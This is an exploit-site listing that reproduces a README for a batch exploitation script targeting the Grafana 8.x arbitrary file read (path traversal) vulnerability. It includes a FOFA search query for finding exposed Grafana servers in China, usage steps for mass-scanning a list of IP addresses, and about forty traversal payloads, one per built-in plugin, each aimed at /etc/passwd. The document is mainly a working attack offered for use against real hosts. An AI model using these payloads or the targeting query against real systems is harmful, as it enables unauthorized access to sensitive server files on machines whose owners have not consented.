Sploitus

Exploit for Path Traversal in Grafana

githubexploit Β· 2021-12-09

Exploit Code

README56 lines
## https://sploitus.com/exploit?id=4F066BB0-F250-565D-BE84-87FE6AC16444
#### Grafana V8.* Arbitrary File Reading Vulnerability – Multi-threaded Batch Verification Script  
### Vulnerability Description  
Grafana is an open-source suite for measurement, analysis, and visualization. It is often used for visualizing time-series data from infrastructure and application analysis. It is also widely used in other fields, such as industrial sensors, home automation, weather, and process control. The 8.* version of Grafana has a vulnerability related to arbitrary file reading. This vulnerability is currently an 0day vulnerability. Unauthorized attackers can exploit this vulnerability to access sensitive server files.  
### FOFA Syntax  
`app="Grafana" && country="CN" && body="v8."`  

### Usage  
1. Place the IP addresses to be tested in the `ip.txt` file.  
2. Run `python3 Grafana-CVE-2021-43798Exp`.  

![1](https://raw.githubusercontent.com/fanygit/Grafana-CVE-2021-43798Exp/main/2021-12-09_193217.png)  

### PAYLOADs  
`/public/plugins/alertlist/../../../../../../../../etc/passwd`,  
`/public/plugins/annolist/../../../../../../../../etc/passwd`,  
`/public/plugins/barchart/../../../../../../../../etc/passwd`,  
`/public/plugins/cloudwatch/../../../../../../../../etc/passwd`,  
`/public/plugins/dashlist/../../../../../../../../etc/passwd`,  
`/public/plugins/elasticsearch/../../../../../../../../etc/passwd`,  
`/public/plugins/graph/../../../../../../../../etc/passwd`,  
`/public/plugins/graphite/../../../../../../../../etc/passwd`,  
`/public/plugins/heatmap/../../../../../../../../etc/passwd`,  
`/public/plugins/influxdb/../../../../../../../../etc/passwd`,  
`/public/plugins/mysql/../../../../../../../../etc/passwd`,  
`/public/plugins/opentsdb/../../../../../../../../etc/passwd`,  
`/public/plugins/pluginlist/../../../../../../../../etc/passwd`,  
`/public/plugins/postgres/../../../../../../../../etc/passwd`,  
`/public/plugins/prometheus/../../../../../../../../etc/passwd`,  
`/public/plugins/stackdriver/../../../../../../../../etc/passwd`,  
`/public/plugins/table/../../../../../../../../etc/passwd`,  
`/public/plugins/text/../../../../../../../../etc/passwd`,  
`/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd`,  
`/public/plugins/bargauge/../../../../../../../../etc/passwd`,  
`/public/plugins/gauge/../../../../../../../../etc/passwd`,  
`/public/plugins/geomap/../../../../../../../../etc/passwd`,  
`/public/plugins/gettingstarted/../../../../../../../../etc/passwd`,  
`/public/plugins/histogram/../../../../../../../../etc/passwd`,  
`/public/plugins/jaeger/../../../../../../../../etc/passwd`,  
`/public/plugins/logs/../../../../../../../../etc/passwd`,  
`/public/plugins/loki/../../../../../../../../etc/passwd`,  
`/public/plugins/mssql/../../../../../../../../etc/passwd`,  
`/public/plugins/news/../../../../../../../../etc/passwd`,  
`/public/plugins/nodeGraph/../../../../../../../../etc/passwd`,  
`/public/plugins/piechart/../../../../../../../../etc/passwd`,  
`/public/plugins/stat/../../../../../../../../etc/passwd`,  
`/public/plugins/state-timeline/../../../../../../../../etc/passwd`,  
`/public/plugins/status-history/../../../../../../../../etc/passwd`,  
`/public/plugins/table-old/../../../../../../../../etc/passwd`,  
`/public/plugins/tempo/../../../../../../../../etc/passwd`,  
`/public/plugins/testdata/../../../../../../../../etc/passwd`,  
`/public/plugins/timeseries/../../../../../../../../etc/passwd`,  
`/public/plugins/welcome/../../../../../../../../etc/passwd`,  
`/public/plugins/zipkin/../../../../../../../../etc/passwd`  

![2](https://github.com/fanygit/Grafana-CVE-2021-43798Exp/blob/main/2021-12-09_193646.png?raw=true)